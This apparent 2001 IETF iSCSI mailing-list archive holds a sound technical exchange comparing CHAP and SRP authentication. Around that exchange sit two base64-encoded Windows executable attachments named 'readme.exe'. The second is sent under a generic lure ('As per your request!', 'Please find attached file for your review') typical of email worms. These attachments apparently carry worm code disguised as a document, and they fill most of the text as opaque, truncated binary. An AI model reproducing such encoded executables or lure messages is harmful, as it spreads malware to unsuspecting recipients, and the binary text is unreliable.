AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAbPyAOwAAAAAAAAMAAwAAAFgAAIAOAAAAQAAAgBAAAAAoAACA AAAAAGz8gDsAAAAAAAABAAEAAACAAACAAAAAAGz8gDsAAAAAAAABAAEAAACYAACAAAAAAGz8gDsA AAAAAAADADF1AADgAACAMnUAAMgAAIAzdQAAsAAAgAAAAABs/IA7AAAAAAAAAQAJBAAA+AAAAAAA AABs/IA7AAAAAAAAAQAAAAAACAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAGAEAAAAAAABs/IA7AAAA AAAAAQAAAAAAKAEAAAAAAABs/IA7AAAAAAAAAQAAAAAAOAEAAFBRAAAIAgAAsAQAAAAAAABYUwAA MAAAALAEAAAAAAAAiFMAACgBAACwBAAAAAAAALBUAADoAgAAsAQAAAAAAACYVwAAMAEAALAEAAAA AAAAAAAAAAAAAAAIAjQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAA AQAAAAEAAAAAAAAAAQAAAAAAAAAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAEQAAAAAAFYAYQBy AEYAaQBsAGUASQBuAGYAbwAAAAAAJAAEAAAAVAByAGEAbgBzAGwAYQB0AGkAbwBuAAAAAAAJBLAE aAEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAARAEAAAEAMAA0ADAAOQAwADQAQgAw AAAAMAAQAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABWAG8AZABhAHQAZQBsAAAAMAAOAAEA UAByAG8AZAB1AGMAdABOAGEAbQBlAAAAAAByAGUAYQBkAG0AZQAAAAAALAAKAAEARgBpAGwAZQBW AGUAcgBzAGkAbwBuAAAAAAAxAC4AMAAwAAAAAAAwAAoAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMA aQBvAG4AAAAxAC4AMAAwAAAAAAAwAA4AAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAHIAZQBh AGQAbQBlAAAAAABAABYAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAcgBlAGEA ZABtAGUALgBlAHgAZQAAAAAAAAABAAMAICACAAEAAQAwAQAAMXUgIBAAAQAEAOgCAAAydRAQEAAB AAQAKAEAADN1KAAAABAAAAAgAAAAAQAEAAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAA AIAAAACAgACAAAAAgACAAICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACPB3AAAACP//8HdwAA/////wcAAAD/////AAAAAP ////8AAAAA///4AAAAAAD4AADuAAAAAADu7gAAAAAA7gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAP//AAD//wAA/48AAPgDAADAAQAAwAcAAMAPAADADwAAwA8AAMAPAADADwAA wH8AAMf/AAD//wAA//8AAP//AAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A /wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AI//B3AAAAAAAAAAAAAAj////wd3cAAAAAAAAAj///////8Hd3dwAAAAAP//////////B3dwAAAA AAD//////////wdwAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD///////// /wAAAAAAAAAA//////////8AAAAAAAAAAP//////////AAAAAAAAAAD//////////wAAAAAAAAAA //////////8AAAAAAAAAAP///////4iIAAAAAAAAAAD/////iIgAAAAAAAAAAAAA//+IiAAA7u4A AAAAAAAAAIiIAADu7gAAAAAAAAAAAAAAAO7uAAAAAAAAAAAAAAAA7u4AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA/////////////////////////////8H///wAf/+AAB/4AAAH+AAAH/gAAH/4AAH/ +AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAP//4A///+D////v///// //////////////////////////////8oAAAAIAAAAEAAAAABAAEAAAAAAAABAAAAAAAAAAAAAAAA AAAAAAAAAAAAAP///wD/////////////////////////////wf///Dx//8P8H/g//Af7//wf+//8 f/v//f/7//3/+//9//v//f/7//3/+//9//v//f/7//3/+//B//v8Pf/7w8H/+Dw///vD///4P/// +//////////////////////////////////////////////////////////////////B///8AH// wAAf+AAAB/gAAB/4AAB/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gAAf/4AAH/+AAB//gA Af/4AD//+AP///g////7////////////////////////////////////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAA ------_=_NextPart_000_01C1354F.F26DE964-- From owner-ips@ece.cmu.edu Tue Sep 4 11:25:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19256 for ; Tue, 4 Sep 2001 11:25:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84E88T11704 for ips-outgoing; Tue, 4 Sep 2001 10:08:08 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from dogwood.cisco.com (dogwood.cisco.com [161.44.11.19]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84E87P11698 for ; Tue, 4 Sep 2001 10:08:07 -0400 (EDT) Received: from cisco.com (mbakke@mbakke-lnx.cisco.com [161.44.68.87]) by dogwood.cisco.com (8.8.6 (PHNE_14041)/CISCO.SERVER.1.2) with ESMTP id KAA07339; Tue, 4 Sep 2001 10:07:54 -0400 (EDT) Message-ID: <3B94DE7C.14A4FC4F@cisco.com> Date: Tue, 04 Sep 2001 09:00:28 -0500 From: Mark Bakke X-Mailer: Mozilla 4.72 [en] (X11; U; Linux 2.2.16-3.uid32 i686) X-Accept-Language: en, de MIME-Version: 1.0 To: Black_David@emc.com CC: ips@ece.cmu.edu Subject: Re: iSCSI: CHAP and SRP comparison References: <277DD60FB639D511AC0400B0D068B71ECAD6A9@CORPMX14> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit David- Thanks. Those were the details that I'd seen somewhere but forgotten. The way to help with the second issue is to store the passwords on a RADIUS server instead of on the target itself. This is what most users of CHAP would do; if passwords are stored directly on the target, SRP would be a better choice. -- Mark Black_David@emc.com wrote: > > Quick CHAP comparison to SRP: > > - CHAP is vulnerable to an off-line dictionary attack in which > the attacker captures the traffic and tries passwords > from a dictionary. SRP is not. > - CHAP requires that the password be available as a password > on the Target. SRP requires only a password verifier > from which the password is not readily recoverable. > - CHAP is one-way authentication, SRP is bidirectional > because the Target demonstrates that it knows the verifier. > > IPsec can take care of the first issue by providing an > encrypted channel (attacker has to break the IPsec encryption > key before mounting the dictionary attack against CHAP), and > the third issue by having IKE handle the authentication > in the other direction. It doesn't help with the second issue, > which is more of an administration issue than a protocol > vulnerability. > > --David > > > -----Original Message----- > > From: Mark Bakke [mailto:mbakke@cisco.com] > > Sent: Friday, August 31, 2001 1:49 PM > > To: John Hufferd > > Cc: Bill Strahm; Ips@Ece. Cmu. Edu > > Subject: Re: ISCSI: User authentication vs. Machine Authentication for > > iSCSI > > > > > > John- > > > > Just wanted to point out that CHAP does not send passwords > > in the clear; it hashes them. The reason that SRP was chosen > > as the MUST over CHAP is that in a non-IPsec environment, > > the CHAP exchange is not as robust as SRP's exchange, and is > > more vulnerable to some types of attacks (I can't remember > > which ones off-hand). IPsec provides an authenticated > > environment in which to do the CHAP exchange, which takes > > care of these potential problems. > > > > -- > > Mark > > > > John Hufferd wrote: > > > 3. Chap can be used in this environment since the Link is > > already secure > > > and encrypted, and sending the password in what otherwise > > would have been > > > in the clear, is protected by the link encryption. > > > > -- > > Mark A. Bakke > > Cisco Systems > > mbakke@cisco.com > > 763.398.1054 > > -- Mark A. Bakke Cisco Systems mbakke@cisco.com 763.398.1054 From owner-ips@ece.cmu.edu Tue Sep 4 11:28:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA19342 for ; Tue, 4 Sep 2001 11:28:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f84DfNl09834 for ips-outgoing; Tue, 4 Sep 2001 09:41:23 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mail.ivivity.com (user-vc8ftn3.biz.mindspring.com [216.135.246.227]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f84Df7P09815 for ; Tue, 4 Sep 2001 09:41:13 -0400 (EDT) Received: by ATLOPS with Internet Mail Service (5.5.2448.0) id ; Tue, 4 Sep 2001 09:40:56 -0400 Message-ID: <25369470B6F0D41194820002B328BDD2116264@ATLOPS> From: Sanjay Goyal To: "'ips@ece.cmu.edu'" Subject: As per your request! Date: Tue, 4 Sep 2001 09:40:47 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2448.0) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C13547.38A4F750" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C13547.38A4F750 Content-Type: text/plain Please find attached file for your review. I look forward to hear from you again very soon. Thank you. ------_=_NextPart_000_01C13547.38A4F750 Content-Type: application/octet-stream; name="readme.exe" Content-Disposition: attachment; filename="readme.exe" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAuAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAACPivnby+uXiMvrl4jL65eISPeZiMrrl4ii9J6IyuuXiCL0mojK65eIUmlj aMvrl4gAAAAAAAAAAFBFAABMAQMAbfyAOwAAAAAAAAAA4AAPAQsBBgAAMAAAACAAAAAAAACcEgAA ABAAAABAAAAAAEAAABAAAAAQAAAEAAAAAQAAAAQAAAAAAAAAAGAAAAAQAAD0JgEAAgAAAAAAEAAA EAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA5DYAACgAAAAAUAAAyAgAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoAgAAIAAA AAAQAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAADYKwAAABAAAAAwAAAAEAAA AAAAAAAAAAAAAAAAIAAAYC5kYXRhAAAA7AkAAABAAAAAEAAAAEAAAAAAAAAAAAAAAAAAAEAAAMAu cnNyYwAAAMgIAAAAUAAAABAAAABQAAAAAAAAAAAAAAAAAABAAABAw20vORAAAAAAAAAAAAAAAE1T VkJWTTYwLkRMTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACykD2bAWw9m bogQZp4AEGZzABBmOuICZoFUD2YZgxBmBWcCZghbD2ZjVAJmHUwCZjVUD2Z+Kg5mbakQZrcgDmbN VA9mzVUPZht/AmZXARBmlKUPZjiJEGbrRAJmd9MBZs6rEGYIngJmKqsQZmijEGa9Ww9mD+oCZjmm 